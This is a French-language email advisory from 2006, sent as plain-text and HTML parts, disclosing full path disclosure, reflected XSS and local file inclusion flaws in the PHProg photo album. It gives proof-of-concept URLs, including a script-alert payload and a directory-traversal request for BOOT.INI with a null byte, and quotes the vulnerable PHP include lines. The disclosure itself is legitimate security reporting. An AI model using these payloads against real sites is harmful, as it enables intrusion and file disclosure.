------=_Part_3877_18013116.1157965429026
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

(11/09/06)

* Produit vuln=E9rable : PHProg ( Album photo en PHP )

* Site officiel du produit : http://www.PHProg.com/

* Failles de s=E9curit=E9 d=E9cel=E9es :

1] Full path disclosure : http://localhost/PHProg/?id=3D1&album=3Dcdg393

2] Cross Site Scripting ( XSS ) : http://localhost/PHProg/?id=3D1&album=3D
<script>alert('cdg393')</script>

3] Local File Inclusion  :
http://localhost/PHProg/index.php?lang=3D../../../../../../BOOT.INI%00

     Ligne 59        =3D>              $lang=3D$_GET['lang'];
     Ligne 61        =3D>              include("lang/$lang.php");

* Credits : cdg393 : cdg.new.fr =3D)

------=_Part_3877_18013116.1157965429026
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

(11/09/06)<br><br>* Produit vuln=E9rable : PHProg ( Album photo en PHP )<br=
><br>* Site officiel du produit : <a href=3D"http://www.PHProg.com/">http:/=
/www.PHProg.com/</a><br><br>* Failles de s=E9curit=E9 d=E9cel=E9es :<br><br=
>1] Full path disclosure :=20
<a href=3D"http://localhost/PHProg/?id=3D1&amp;album=3Dcdg393">http://local=
host/PHProg/?id=3D1&amp;album=3Dcdg393</a><br><br>2] Cross Site Scripting (=
 XSS ) : <a href=3D"http://localhost/PHProg/?id=3D1&amp;album=3D">http://lo=
calhost/PHProg/?id=3D1&amp;album=3D
</a>&lt;script&gt;alert('cdg393')&lt;/script&gt;<br><br>3] Local File Inclu=
sion&nbsp; : <a href=3D"http://localhost/PHProg/index.php?lang=3D../../../.=
./../../BOOT.INI%00">http://localhost/PHProg/index.php?lang=3D../../../../.=
./../BOOT.INI%00
</a><br><br>&nbsp;&nbsp;&nbsp;&nbsp; Ligne 59&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; =3D&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; $lang=3D$_GET['lang'];<br>&nbsp;&nbsp;&nbsp;&nbsp; =
Ligne 61&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =3D&gt;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include(&quot=
;lang/$lang.php&quot;);<br>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbs=
p; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &n=
bsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &=
nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<br>* Credits : cdg393 :=20
<a href=3D"http://cdg.new.fr">cdg.new.fr</a> =3D) <br><br>

------=_Part_3877_18013116.1157965429026--